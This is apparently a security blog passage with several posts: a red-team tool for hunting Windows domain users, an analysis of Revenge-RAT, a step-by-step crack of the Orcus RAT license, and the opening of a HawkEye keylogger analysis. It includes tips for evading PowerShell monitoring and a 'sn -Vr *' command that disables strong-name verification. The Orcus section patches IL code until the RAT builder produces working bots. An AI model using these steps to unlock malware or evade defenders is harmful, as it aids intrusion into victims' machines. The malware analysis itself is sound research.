asm> setmode disasm
Default Disassembler architecture is x86 (32 bits)
disasm> lsarchs
mips64, x16, arm64, mips32, arm_t, x86, arm, x64
disasm>

TODO

I plan to implement a feature to read assembly instructions or opcodes from files soon. So if you find kcshell useful just keep an eye on github. In the meantime, have fun.

Hunting (L)users Using WinAPI Calls Only

During Red Team engagements it is common to track/hunt specific users. Assuming we already have access to a desktop as a normal user (no matter how, always “assume compromise”) in a Windows Domain and we want to spread laterally. We want to know where the user is logged on, if he is a local administrator in any box, to which groups he belongs, if he has access to file shares, and so on. Enumerating hosts, users, and groups will also help to get a better understanding of the Domain layout.

You might be thinking, “use Powerview”. Lately, one of the most common problems I encounter during Red Team exercises is the fact that PowerShell is heavily monitored. If you use it, you’ll get caught, sooner or later. By now everyone is well aware how powerful PowerShell is, including Blue Teams and Security Vendors.

There are multiple ways to work around this. To avoid using multiple old school tools (psloggedon.exe, netsess.exe, nltest, netview, among others) and to reduce the amount of tools uploaded to compromised systems I created a simple tool that doesn’t require Administrative privileges to run and collect the information listed below, and relies only on the Windows API.

You might end up dealing with white list bypass (however, based on my experience, its easier to find an environment with PowerShell properly locked down and heavily monitored than an environment with proper whitelisting implemented) and process evasion (there are some security tools that collect information about processes running, however, this leads us to a different discussion), but I’ll leave that for another day because this discussion will end in long sequence of if’s and … let’s keep this post short.

If you are asking yourself, “wouldn’t these queries also trigger security events”? Yes, they will. However, at the moment they will most likely slip under the radar when compared with PowerShell, since PowerShell is getting a lot of attention these days.

In the meantime, is not new that Microsoft is taking security seriously and it is funny that they just released the following PowerShell script. Here’s the description:

"SAMRi10" tool is a short PowerShell (PS) script which alters remote SAM access default permissions on Windows 10 & Windows Server 2016. This hardening process prevents attackers from easily getting some valuable recon information to move laterally within their victim's network.

Basically, a script that changes some ‘registry’ values. Nothing special though.

Blue Teams with Advanced Threat Analytics (ATA) can also see Red Teams enumerating sessions via ‘net session’, PowerShell, or (l)user hunter. However, ATA architecture is a bit complex and in some setups you may need to install the ‘ATA Lightweight Gateway’ directly on the domain controllers (which removes the requirement for port mirroring). Additionally, ATA can leverage Windows events (forwarded directly from the domain controllers or from a SIEM and analyze the data). Again, I haven’t found that many organizations using ATA yet. I’ve seen a lot of organizations using SIEMs, but either they aren’t collecting the right logs or they are completely overwhelmed with logs that inexperienced security analysts (most of the time juniors) can’t make sense of. Also common is companies running default SIEM setups and without a clue on how to set it up properly.

Anyway, these are all valid reasons why I would like to eventually rewrite the ‘min’ and ‘max’ values delay between queries. In the meantime though we can still keep enumerating users, sessions, etc. low and slow.

Features

    • Retrieves current configuration information for the specified server (via list of hosts or domain enumeration).
    • - OS Version
      - Server Type (DC, Backup DC, Workstation or Server, Terminal Server, MSSQL Server)
    • Lists information about all users currently logged on to the workstation.
    • - interactive, service and batch logons.
    • Lists information about sessions established on a server.
    • Retrieves information about each shared resource on a server.
    • - checks if current user as read access.
    • Returns results for the NS_DNS namespace, IPv4 protocol.
    • Checks if current user is an Administrator on a server.
    • Retrieves information about all user accounts on a server or DC.
    • Retrieves a list of global groups to which a specified user belongs on a server or DC.
    • Retrieves information about each global group in the security database, SAM database or Active Directory.
    • Retrieves a list of the members in a particular global group in the security database, SAM database or Active Directory.
    • Retrieves information about a particular user account on a server or DC.
    • Enumerate the domain controllers in the local domain.

Additionally, for hosts enumeration there’s a minimum and maximum delay value in seconds you can add to avoid detection/noise.

Expect further developments, specially on the ‘error handling’ side and ‘look and feel’. I have a few more ideas that I would like to incorporate.

Usage

For usage examples refer to the GitHub repository, where I added some screenshots.


Lurking Around Revenge-RAT

Two days ago the tweet below caught my attention, 1/54 at virustotal. A RAT is always an interesting topic for me since it’s a common practice to use some form of RAT to establish C&C in Red Team Exercises. So there’s always something to learn even if it’s done in a complete wrong way.

I opened the virustotal report, 1/54 indeed. Is Fortinet really good or are the others really bad, I wondered. Even after looking at the sample I still don’t know the answer.

Anyway, 1/54… I had to look at the sample. The tweet included a link to a forum thread where I could find a link to a blog hosted at blogger.com, with a link to a download page.

I downloaded the ‘Revenge-RAT v.0.1’ and extracted the rar file. Here’s the whole contents of the zip file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ unrar x Revenge-RAT\ v.0.1.rar .
UNRAR 5.21 freeware      Copyright (c) 1993-2015 Alexander Roshal

Extracting from Revenge-RAT v.0.1.rar

Enter password (will not be echoed) for Revenge-RAT v.0.1/GeoIP.dat:

Creating    ./Revenge-RAT v.0.1                                       OK
Extracting  ./Revenge-RAT v.0.1/GeoIP.dat                             OK
Revenge-RAT v.0.1/Mono.Cecil.dll - use current password ? [Y]es, [N]o, [A]ll A

Extracting  ./Revenge-RAT v.0.1/Mono.Cecil.dll                        OK
Creating    ./Revenge-RAT v.0.1/Plugin                                OK
Extracting  ./Revenge-RAT v.0.1/Plugin/Active_Windows.dll             OK
Extracting  ./Revenge-RAT v.0.1/Plugin/Clipboard_Manager.dll          OK
Extracting  ./Revenge-RAT v.0.1/Plugin/File_Manager.dll               OK
Extracting  ./Revenge-RAT v.0.1/Plugin/Get_TCP_Connections.dll        OK
Extracting  ./Revenge-RAT v.0.1/Plugin/INFO.dll                       OK
Extracting  ./Revenge-RAT v.0.1/Plugin/Installed_Programs.dll         OK
Extracting  ./Revenge-RAT v.0.1/Plugin/Passwords.dll                  OK
Extracting  ./Revenge-RAT v.0.1/Plugin/Pastime.dll                    OK
Extracting  ./Revenge-RAT v.0.1/Plugin/Process_Manager.dll            OK
Extracting  ./Revenge-RAT v.0.1/Plugin/Registry_Editor.dll            OK
Extracting  ./Revenge-RAT v.0.1/Plugin/Remote_Shell.dll               OK
Extracting  ./Revenge-RAT v.0.1/Plugin/Remote_WebCam.dll              OK
Extracting  ./Revenge-RAT v.0.1/Plugin/Screen_Capture.dll             OK
Extracting  ./Revenge-RAT v.0.1/Plugin/Service_Manager.dll            OK
Extracting  ./Revenge-RAT v.0.1/Revenge-RAT v.0.1.exe                 OK
Extracting  ./Revenge-RAT v.0.1/sound.wav                             OK
Extracting  ./Revenge-RAT v.0.1/Stub.exe                              OK
All OK

My first surprise was…

1
2
$ file Revenge-RAT\ v.0.1/Revenge-RAT\ v.0.1.exe
Revenge-RAT v.0.1/Revenge-RAT v.0.1.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

A potentially malicious .net assembly and only one AV flagged it?! I loaded it in CFF Explorer. All looks pretty normal…

‘Revenge-RAT v.0.1.exe’
SHA256: f1fc15082123a79f5350a6bf7897f4ac9c7474619f96efc556754918f3926ae7

I loaded the assembly in ILSpy and surprise, surprise… no signs of packing or obfuscation.

Then I tried to load one of the DLLs in CFF Explorer, and first surprise. No, now I really mean it. ‘Unknown format’.

PEiD confirms this is not a valid PE file.

File to the rescue.

1
2
$ file Installed_Programs.dll
Installed_Programs.dll: gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT)

I think I’ve seen this before.

1
2
3
4
5
6
7
$ mv Installed_Programs.dll Installed_Programs.gz
$ gunzip Installed_Programs.gz
$ ll
total 16
-rw-r--r-- 1 rui rui 16384 Aug 26 22:22 Installed_Programs
$ file Installed_Programs
Installed_Programs: PE32 executable (DLL) (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Ok, now makes sense. I opened it on ILSpy and once again, no packing or code obfuscation.

By looking at the code we can see the author simply reads the registry, nothing special. I decided to run it inside my VM to see how advanced was the almost FUD, fully undetected, ‘Revenge-RAT v.0.1’. A very basic builder that simply makes a few a changes to the ‘Stub.exe’ file.

If we look at the ‘Stub.exe’ code we can see there’s nothing special and the keylogger is also quite basic.

Even though it works, another surprise.

The following screens show more or less the features that ‘Revenge-RAT v.0.1’ includes.

I went through most of the ‘Revenge-RAT v.0.1’ features and files and found it to be a very basic and unstable RAT written apparently in Visual Basic.

The ‘IP Tracker’ uses the web site addgadgets.com to find the location of the infected machine. In my test lab it found my location accurately, as I was in a dark room ‘hacking’.

Besides, only some common features also usually seen in this kind of basic malware. ‘Process Manager’, ‘Registry Editor’, ‘Remote Connections’, ‘Remote Shell’, system information, among a few others.

Maybe the most interesting one, the ability of running files on the remote computer.

Which indeed launches ‘procmon’ on the remote victim.

Besides nothing really interesting to show.

Lessons learned

I feel like I wasted my time based on a 1/54 virustotal score. The author doesn’t try to hide what his code does in any way, the architecture is common and weak. As a good thing the author is not trying to sell the RAT and might only be trying to learn how to code. Even though learning C or C++ would be a better investment than learning any managed code language. Anyway, it might be, or it might not be, quite surprising that these types of basic tools are still used successfully to compromise some systems, as we can see in one of the YouTube videos posted by the author. In the video at some point we can see eventually 15 systems compromised, it is not that much, but it is still something. Even though the features are basic they are still enough, in 2016, to cause enough harm to ‘random’ users.

I sent the ‘Server.exe’ to virustotal, which is basically the ‘Stub.exe’ that was on the rar file initially submitted to virustotal and now, after two days, we can see that the detection rate is 41/57. Even though well-known and widely used AVs still don’t flag this file as malicious. Anyway, this only shows how much the AV industry is broken.

IOCs

For IOCs check the links below:

Cracking Orcus RAT

After my previous post here, I got a message from an anonymous source asking me if I would like to have a look at another piece of malware written in managed code (that was also on the news recently). More precisely at the ‘Orcus RAT’. I follow KrebsonSecurity blog closely and I recognized the name. If you didn’t read Brian Krebs post about who’s behind ‘Orcus RAT’ read it here. Not long after ‘Palo Alto Networks’ Research Group published a follow-up, read it too. Based on the small research I did about this tool I think ‘Palo Alto’ got their facts right.

At first I thought I could be dealing with someone trying to ‘phish’ me, but the offer was legit. Challenge accepted. The zip file I got is for version 1.4.2 (which is the latest version available at the ‘Orcus RAT’ website, at the time of this writing). The zip file is massive. Here’s the whole contents of the zip file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
C:\Users\rui\Orcus1.4.2>dir
 Volume in drive C has no label.
 Volume Serial Number is 90AE-F306

 Directory of C:\Users\rui\Orcus1.4.2

08/07/2016  02:29 PM    <DIR>          .
08/07/2016  02:29 PM    <DIR>          ..
07/31/2016  09:07 PM    <DIR>          libraries
07/31/2016  09:05 PM        17,172,040 Orcus.Administration.exe
07/08/2016  02:38 PM             1,165 Orcus.Administration.exe.config
07/31/2016  09:05 PM         1,994,240 Orcus.Administration.pdb
               3 File(s)     19,167,445 bytes
               3 Dir(s)  23,307,132,928 bytes free

C:\Users\rui\Orcus1.4.2>dir libraries
 Volume in drive C has no label.
 Volume Serial Number is 90AE-F268

 Directory of C:\Users\rui\Orcus1.4.2\libraries

07/31/2016  09:07 PM    <DIR>          .
07/31/2016  09:07 PM    <DIR>          ..
04/06/2016  03:47 PM            78,848 Be.Windows.Forms.HexBox.dll
09/04/2015  07:28 PM            76,004 Be.Windows.Forms.HexBox.xml
05/28/2016  10:35 AM           518,656 CSCore.dll
05/28/2016  10:35 AM         1,448,738 CSCore.xml
05/12/2016  08:21 PM            72,704 Exceptionless.Extras.dll
05/10/2016  12:11 PM             4,982 Exceptionless.Extras.xml
05/12/2016  08:21 PM           694,784 Exceptionless.Portable.dll
05/10/2016  12:11 PM           641,422 Exceptionless.Portable.xml
04/06/2016  03:48 PM            44,032 FluentCommandLineParser.dll
12/16/2015  06:11 PM           140,800 FluentCommandLineParser.pdb
12/16/2015  06:11 PM           118,978 FluentCommandLineParser.xml
08/11/2014  08:28 PM            54,784 GongSolutions.Wpf.DragDrop.dll
08/11/2014  08:28 PM            95,744 GongSolutions.Wpf.DragDrop.pdb
08/11/2014  08:28 PM            27,248 GongSolutions.Wpf.DragDrop.xml
05/18/2016  08:22 PM           606,208 ICSharpCode.AvalonEdit.dll
05/18/2016  08:22 PM           552,367 ICSharpCode.AvalonEdit.xml
01/29/2016  10:31 PM           940,544 MahApps.Metro.dll
01/29/2016  10:31 PM         1,123,840 MahApps.Metro.pdb
01/29/2016  10:31 PM           346,311 MahApps.Metro.xml
02/27/2016  02:59 PM            37,104 Microsoft.Threading.Tasks.dll
02/27/2016  02:59 PM            51,059 Microsoft.Threading.Tasks.xml
08/19/2015  06:13 PM           280,576 Mono.Cecil.dll
06/13/2016  10:06 PM           526,336 Newtonsoft.Json.dll
06/13/2016  10:06 PM           523,221 Newtonsoft.Json.xml
06/12/2016  11:23 PM           529,408 NLog.dll
06/12/2016  11:23 PM         1,245,550 NLog.xml
04/06/2016  05:49 PM         2,686,464 nUpdate.dll
04/06/2016  05:47 PM           214,528 nUpdate.pdb
07/16/2015  05:14 PM           107,696 Ookii.Dialogs.Wpf.dll
07/16/2015  05:14 PM           169,200 Ookii.Dialogs.Wpf.xml
07/31/2016  09:05 PM           113,736 Orcus.Administration.Commands.dll
07/31/2016  09:05 PM           239,104 Orcus.Administration.Commands.pdb
07/03/2016  02:54 PM            84,552 Orcus.Administration.Licensing.dll
07/03/2016  02:54 PM            84,552 Orcus.Administration.Licensing.pdb
07/31/2016  09:05 PM            34,888 Orcus.Administration.Plugins.dll
07/31/2016  09:05 PM            75,264 Orcus.Administration.Plugins.pdb
07/31/2016  09:05 PM            25,672 Orcus.Administration.StaticCommands.dll
07/31/2016  09:05 PM            77,312 Orcus.Administration.StaticCommands.pdb
07/31/2016  09:05 PM            22,088 Orcus.Plugins.dll
07/31/2016  09:05 PM            36,352 Orcus.Plugins.pdb
07/31/2016  09:05 PM           298,056 Orcus.Shared.dll
07/31/2016  09:05 PM           509,440 Orcus.Shared.pdb
07/03/2016  02:54 PM            26,184 Orcus.Shared.Utilities.dll
07/03/2016  02:54 PM            36,352 Orcus.Shared.Utilities.pdb
03/11/2016  10:08 PM           498,688 OxyPlot.dll
03/11/2016  10:08 PM         1,439,232 OxyPlot.pdb
03/11/2016  10:08 PM           147,456 OxyPlot.Wpf.dll
03/11/2016  10:08 PM           423,424 OxyPlot.Wpf.pdb
03/11/2016  10:08 PM           271,094 OxyPlot.Wpf.xml
03/11/2016  10:08 PM           965,402 OxyPlot.xml
03/11/2016  10:08 PM            13,312 OxyPlot.Xps.dll
03/11/2016  10:08 PM            26,112 OxyPlot.Xps.pdb
03/11/2016  10:08 PM            11,098 OxyPlot.Xps.xml
07/03/2016  02:54 PM            44,032 Sorzus.Wpf.Toolkit.dll
07/03/2016  02:54 PM           122,368 Sorzus.Wpf.Toolkit.pdb
02/18/2016  08:05 PM           135,168 Sparrow.Chart.Wpf.40.dll
02/18/2016  08:05 PM           152,399 Sparrow.Chart.Wpf.40.xml
05/25/2016  07:20 PM            49,152 starksoft.aspen.dll
05/25/2016  07:20 PM            79,360 starksoft.aspen.pdb
05/25/2016  07:20 PM            55,969 starksoft.aspen.xml
01/29/2016  10:31 PM            55,904 System.Windows.Interactivity.dll
08/19/2015  07:04 PM            77,824 Vestris.ResourceLib.dll
08/19/2015  07:04 PM           299,347 Vestris.ResourceLib.xml
06/14/2016  01:06 PM         1,042,944 Xceed.Wpf.Toolkit.dll
              64 File(s)     21,531,973 bytes
               2 Dir(s)  23,307,132,928 bytes free

Interesting to notice that the author includes the .pdb files on the package. According to wikipedia, Program database (PDB) is a proprietary file format (developed by Microsoft) for storing debugging information about a program (or, commonly, program modules such as a DLL or EXE). PDB files commonly have a .pdb extension. A PDB file is typically created from source files during compilation.

I started by loading ‘Orcus.Administration.exe’ in CFF Explorer. As you can see it is a very recent build.

‘Orcus.Administration.exe’
SHA256: 4056ee5b23e47d172b48c84ceb5b6eca5ee68cf839dc7e5f28e984005ed7dcea

Dynamic Analysis

As usual I started by running it inside a VM without Internet access and I was presented with the following screens.

Without a license it seems I can’t do anything else. While monitoring the DNS I observed queries to ‘collector.exceptionless.io’.

Reverse Engineering Managed Code

The first thing I noticed when I loaded ‘Orcus.Administration.exe’ in CFF Explorer was that the assembly was signed. See bellow the fields ‘StrongNameSignature RVA’ and ‘StrongNameSignature Size’.

Meaning it wouldn’t be possible to change it (I read a little bit about it while researching for my previous post). Well, I can change it, but it won’t load. This signing process is best known as ‘Strong Names’. Usually you use ‘Strong Names’ to verify an assembly publisher’s identity. When you add a ‘Strong Name’ to an assembly you use a private key (part of an asymmetric public/private key pair) to generate a cryptographic hash and the public key is included in the assembly, along with the hash. I’m not an expert on this. I advise you read the ‘References’ at the end of this post if you want to know more. Which is actually what I did too. Anyway, more on this later.

I started by loading ‘Orcus.Administration.exe’ and all its DLL’s in ILSpy.

The first surprise was that at the first glance no code obfuscation was used. Apparently I could browse the whole code without any problem. With one exception. As you can see in the picture above the DLL ‘Orcus.Administration.Licensing’ wasn’t loaded properly. So, I opened it on CFF Explorer and noticed a few things. The MetaData had two GUID’s, instead of one.

The Assembly Tables were two also, instead of one, and the ‘Culture’ field had what it looked like Chinese characters. First sign of obfuscation.

And by looking at the GUID’s Blobs I could see this DLL was obfuscated with ConfuserEX.

I prayed a bit (unpacking ‘Confuser’ can be a nightmare) and launched ‘UnConfuserEx v1.0’, you can find this tool in some Reverse Engineering Forums. Usually it is not that simple… but surprisingly it worked.

I went to the ‘libraries’ directory, renamed ‘Orcus.Administration.Licensing-unpacked.exe’ to ‘Orcus.Administration.Licensing.dll’ and loaded it again in ILSpy. It loaded like a charm. Great.

No more signs of code obfuscation (well this isn’t entirely true as you will see later). Only a group of assemblies signed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
C:\Users\rui\Orcus1.4.2>sn -v Orcus.Administration.exe

Microsoft (R) .NET Framework Strong Name Utility  Version 4.0.30319.0
Copyright (c) Microsoft Corporation.  All rights reserved.

Assembly 'Orcus.Administration.exe' is valid

C:\Users\rui\Orcus1.4.2>sn -Tp Orcus.Administration.exe

Microsoft (R) .NET Framework Strong Name Utility  Version 4.0.30319.0
Copyright (c) Microsoft Corporation.  All rights reserved.

Public key (hash algorithm: sha1):
00240000048000009400000006020000002400005253413100040000010001002983fb7aeaa4de
53d88a60e791a73e94711f04846b90b2a0b91030f1f680b6ea135ee2a1e7ddc9d903535c91f729
d8005200b9724a6dc7a22d0d50b7be54ee77b8dfc03b8cc59e1ee057ed6faacbe222ad98fcda47
7fdcd77e99c261df8a5d57e2828acaaef45e68417953e59ebf06252427a78c8a5f6c3237efdd21
8fc71be5

Public key token is 851aa33cb9b88f1c

C:\Users\rui\Orcus1.4.2>

And the complete list of signed assemblies was:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Orcus.Administration.exe
libraries/Be.Windows.Forms.HexBox.dll
libraries/Exceptionless.Extras.dll
libraries/Exceptionless.Portable.dll
libraries/FluentCommandLineParser.dll
libraries/nUpdate.dll
libraries/Orcus.Administration.Commands.dll
libraries/Orcus.Administration.Licensing.dll
libraries/Orcus.Administration.Plugins.dll
libraries/Orcus.Administration.StaticCommands.dll
libraries/Orcus.Plugins.dll
libraries/Orcus.Shared.dll
libraries/Orcus.Shared.Utilities.dll
libraries/Sorzus.Wpf.Toolkit.dll

Cracking Orcus RAT

I started looking at code trying to find a good place to bypass the Registration/License process. You might be wondering, what about the fact that the assemblies are signed to avoid tampering? Don’t worry, I’ll get there.

After a while, I found what I thought it would be the best place to bypass the licensing process. By looking at the ‘Administration’ class code and the method ‘OnStartup(StartupEventArgs)’ I’ve found the following lines of code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    Application.Current.Resources.MergedDictionaries.RemoveAt(Application.Current.Resources.MergedDictionaries.Count - 3);
    FileInfo expr_F1 = new FileInfo(CommandLineArgs.Current.LicenseFilePath ?? "license.orcus");
    if (!expr_F1.Exists)
    {
        Application.Current.ShutdownMode = ShutdownMode.OnExplicitShutdown;
        if (new RegisterOrcusWindow().ShowDialog() != true)
        {
            Environment.Exit(0);
        }
    }
    App.License = License.Parse(File.ReadAllText(expr_F1.FullName));
    if (!App.License.IsValid)
    {
        MessageBox.Show("Invalid license.", "Error", MessageBoxButton.OK, MessageBoxImage.Hand);
        Environment.Exit(0);
    }
    Logger.Log(LogLevel.Logo, " ____  ____  ____  _     ____ \r\n/  _ \\/  __\\/   _\\/ \\ /\\/ ___\\\r\n| / \\||  \\/||  /  | | |||    \\\r\n| \\_/||    /|  \\_ | \\_/|\\___ |\r\n\\____/\\_/\\_\\\\____/\\____/\\____/");
    Logger.Log(LogLevel.Logo, string.Format("\n<<<<<<< {0}: {1} || {2}: Sorzus (Orcus Technologies) >>>>>>>", (string)Application.Current.Resources["Version"], Assembly.GetExecutingAssembly().GetName().Version, (string)Application.Current.Resources["Developer"]));
    PluginManager.Current.Initialize();

I thought, if I remove the ‘Environment.Exit(0);’ call inside the if statement that checks if the License is valid, the application should proceed whatever is inside the file ‘license.orcus’, assuming it exists.

Cool, so I only need to figure out how to bypass the signed assemblies ‘thing’. To start, and avoid the risk of introducing errors by making the wrong changes in the IL code, I decided to change only the contents of the MessageBox that should be shown if the license is invalid. So, I changed it as shown below.

And here comes the trick. ILSpy, or actually the ‘Reflexil’ plugin, will say that it can’t save the file because the assembly is signed. It gives you multiple options though.

    1. Register it for verification skipping (on this computer)
    2. Re-sign with key
    3. Remove Strong Name
    4. Cancel and keep it delay signed

To be honest my first approach was ‘Remove Strong Name’. If you look online you will find this as a possible solution, and in fact it is. However, I couldn’t make it work with ‘Orcus RAT’. The usual examples and ‘crackmes’ you find online apply only to one executable file (see the article in References) and not to complex/big projects as ‘Orcus RAT’. I tried to remove the ‘Strong Name’ not only for ‘Orcus.Administration.exe’ but also all the DLLs listed above (as signed), plus all the ‘References’ I could find in all these files. I still couldn’t launch ‘Orcus.Administration.exe’ successfully, as it fails to load with a ‘System.IO.FileLoadException’ due to tampered signature.

After some frustrating attempts I decided to take a different approach. Even though it is possible to do it the way I was trying. If you know what I could be missing please let me know. I’m pretty sure we can do this in multiple different ways anyway.

The second option, ’Re-sign with key' doesn’t apply as we don’t have the private key. The first and second on the screen below aren’t available because I don’t have ‘sn.exe’ in my PATH variable (sn.exe is shipped with the Windows SDK kit), it doesn’t matter because I can do it manually.

The first option ‘Register it for verification skipping (on this computer)’ means we can actually disable windows ‘Strong Name’ validation (see the ‘References’). Note that disabling the strong name verification may introduce a vulnerability. A malicious assembly could use the assembly name, version, culture, and public key token of the assembly added to the skip verification list to fake its identity. Which would allow the malicious assembly to also skip verification. I advise you to do it only in a non production environment.

To accomplish this task we will use the ‘sn.exe’ utility. As we saw before we can use ‘sn.exe -Tp ’ to view the public key token, so what we are going to do now to drop the assembly verification is running ‘sn.exe’ the following way (as administrator).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
C:\Users\rui\Orcus1.4.2>sn -Tp Orcus.Administration.exe

Microsoft (R) .NET Framework Strong Name Utility  Version 4.0.30319.0
Copyright (c) Microsoft Corporation.  All rights reserved.

Public key (hash algorithm: sha1):
00240000048000009400000006020000002400005253413100040000010001002983fb7aeaa4de
53d88a60e791a73e94711f04846b90b2a0b91030f1f680b6ea135ee2a1e7ddc9d903535c91f729
d8005200b9724a6dc7a22d0d50b7be54ee77b8dfc03b8cc59e1ee057ed6faacbe222ad98fcda47
7fdcd77e99c261df8a5d57e2828acaaef45e68417953e59ebf06252427a78c8a5f6c3237efdd21
8fc71be5

Public key token is 851aa33cb9b88f1c

C:\Users\rui\Orcus1.4.2>sn -Vr *,851aa33cb9b88f1c

Microsoft (R) .NET Framework Strong Name Utility  Version 4.0.30319.0
Copyright (c) Microsoft Corporation.  All rights reserved.

Verification entry added for assembly '*,851aa33cb9b88f1c'

C:\Users\rui\Orcus1.4.2>

Now if you look at the registry you will see a new entry for ‘Strong Name’ verification skipping. Basically what we just did manually was the first option ‘Reflexil’ gave us before.

As you can see only the assemblies with the public key ‘851aa33cb9b88f1c’ will be skipped, if you feel lazy or you don’t care just run ‘sn.exe’ as follows:

1
sn -Vr *

An entry for all assemblies (*.*) will be added. By the way if you want to bring back your previous settings ‘sn.exe -Vu ’ is your friend.

Now the interesting thing, if you select option ‘4. Cancel and keep it delay signed’ when saving your patched file with ‘Reflexil’ it will remove the ‘Strong Name’ and replace it with a delay signature, but most of the time this does not prevent the assembly from loading. And in fact it does not. Forget all the ‘sn.exe’ kung fu above, you don’t need it.

If we run our patched ‘Orcus.Administration.exe’ now it will run without any problems. Well, more or less.

It seems my thought about simply create an empty ‘license.orcus’ file was wrong. So, I went back to the code. I was definitely in the right place to bypass the ‘Registration/License’ mechanism, so I decided to do the following changes instead:

Basically I replaced the IL instructions below (3 and 4) with nops (above). Note: I later found this isn’t really necessary, you actually can keep these instructions.

And then I deleted all the IL instructions between lines 63 and 108 (sorry too many to list them here). I gave it a try again, and…

It works! Mission Accomplished?!

Not really. While I can bypass the registration and create the server when trying to create the ‘bot’ it fails with a ‘System.NullReferenceException’ under ‘Orcus.Administration.Build.Builder.ApplySettings’. So, I started looking at the code again… and by looking at the code below I could see why. A reference to something that we bypassed earlier, ‘App.License.get_HardwareId()’.

The license mechanism was bypassed so this is definitely not initialized. I tried to look at the code of this method.

Not really helpful. While still lurking around this ‘Orcus.Administration.Licensing’ dll code I spotted another method also called ‘get_hardwareId’ but under ‘HardwareIdGenerator’.

However, it seems even though we were able to use ‘UnConfuserEx’ to unpack the code it seems that’s still a layer of obfuscation here. Or am I too tired to even try to understand what this method does?

After looking around and around I’ve found that this method is used if you launch the application via the command line, as:

1
C:\users\rui\Desktop\Orcus.Administration.exe /hardwareid

Which will open the following window.

There are a few more command line options as you can see below.

None looks useful. But, we have the code to generate the ‘HardwareId’ inside the same dll. So if I change the code below…

To the code below… I might not get the same ‘System.NullReferenceException’ any more.

I tried and… yes, now it works!

Well, it wasn’t that easy, I struggled a bit to get it right. Anyway, ‘Mission Accomplished’. I’m not sharing the sample, sorry (unless it is for research purposes and I can easily verify your intentions are legit). Otherwise, don’t ask.

I’m pretty sure I could have ‘cracked’ this software in a different way, if you feel like sharing your approach please e-mail me.

Orcus RAT Features

I’m not selling the RAT so I’ll not go into detail about ‘Orcus RAT’ features. Anyway, I played a bit with the RAT and I must say that there are multiple hours of development here. What I’ve found most interesting was actually the architecture. See below (picture from ‘Palo Alto’ blog post).

More or less what I would do if I was writing a RAT, for ‘Red Team’ exercises of course. Basically a three-part infrastructure model. An administration panel, the client (call it ‘bot’ or whatever), and an intermediary server. This will increase resilience and make it harder to detect/erradicate/take down. You must assume that some of your servers are going to be found and you need to be able to redirect ‘bots’ to other servers. Both the infected victim and the ‘Orcus RAT’ operator will use the server as a proxy to exchange commands and relay information. If you want to know more read the ‘Palo Alto’ blog post and there’s a small tutorial on hackforums and even a video on YouTube.

References

Managed Code Reverse Engineering

Orcus RAT technical analysis

News

Cracking HawkEye Keylogger Reborn

I had never heard of ‘HawkEye Keylogger’ until I’ve read the following blog post from Trustwave. I’ve found the amount of features quite interesting and I was curious to have a closer look at the source code. After some research it seems this Keylogger has been successfully used in some campaigns in the past and it is still being actively used.

Actually ‘HawkEye’ is best known in the AV industry by ‘Golroted’. In fact it seems that ‘HawkEye’ was using a different name before, ‘Predator Keylogger’, as you can see in this post from stopmalvertising. I’m not sure if the author(s) behind them are the same. The source code might have been shared/sold among some malicious software writers.

After a bit of digging I could also find some previous versions of ‘HawkEye’ cracked. However, it seemed, at first, that the previous versions were a bit different from the latest ‘Reborn’ version. ‘HawkEye’ didn’t look an advanced piece of malware and the authors/sellers apparently are doing a sloppy job. The lesson here is even a sloppy malware writers can make a profit without hiding themselves that much.

While searching the web I’ve found a few ‘HawkEye’ technical analysis (see references at the end of this blog post), and while poking around I ended on the home page of ‘HawkEye’. It is sold for more or less $35, depending on each type of license you are interested in. At the time of this writing the home page is down, it should come up again at some point. During the last month I noticed that it goes down and comes back from time to time.

I noticed one interesting thing though. Maybe due to a misconfiguration (or not) I could download ‘HawkEye Keylogger Reborn’ and some other malicious software that the same author is selling. From http://hawkspy.net/hawkeye-keylogger-reborn/ I was redirected to http://selfypay.org/HawkSpy/ and… guess what? All their software belongs to us…

‘HawkEye Keylogger - Reborn.exe’
SHA256: c8164521267263190900e1f62494068e994b053ae720d678da542e80286b5f46

So I had access to the “potential” builder and not only to the samples that were collected on the wild and mentioned on the technical articles I’ve found. So I decided to have a look and opened it in CFF Explorer.

CFF Explorer is like PEStudio for .net assemblies and it tells us that this file is indeed a .net binary.

Dynamic Analysis

So I downloaded it and ran it on a VM. No anti-VM techniques were in use, at least none able to detected my VMware based virtual lab. If ‘HawkEye’ doesn’t have access to the Internet the program will throw an Exception and writes a file ‘loader.log’ on the same directory from where the exe was launched.

1
2
3
4
5
6
7
8
8/1/2016 6:41:35 PM

The operation has timed out
   at System.Net.WebClient.DownloadDataInternal(Uri address, WebRequest& request)
   at System.Net.WebClient.DownloadString(Uri address)
   at System.Net.WebClient.DownloadString(String address)
   at HawkEyeKeyloggerReborn.License.DownloadChecksums()
   at HawkEyeKeyloggerReborn.License.Initialize()

Since I was monitoring the DNS queries I could see that it tries to resolve the host ‘seal.nimoru.com’. Ok, I fired up my Tor Proxy VM and this time I was presented with a login form, as shown below.

I did a quick search for ‘Net Seal’ (shown in the title bar of the login dialog box) but at this time I didn’t find anything (more on this later).

Reverse Engineering Managed Code

Managed code decompilers are the way to go when analysing .NET assemblies since they allow us to decompile the binary into source code. However, if the binary is obfuscated, this process can be a nightmare. Besides the managed code decompilers are not as amazing as you may think if you are dealing with complex projects. Almost all of them allow you to export the code, even to Visual Studio projects. Getting this projects to compile is a complete different story though. Based on my experience 99% of times it will not build and you have to deal with too many errors. Most of the errors are completely ‘alien’. Still, decompilers are great.

So I loaded ‘HawkEye Keylogger - Reborn.exe’ in ILSpy, I could see the file was encrypted/obfuscated with a module called ‘MindZero v0.5.0-custom’.

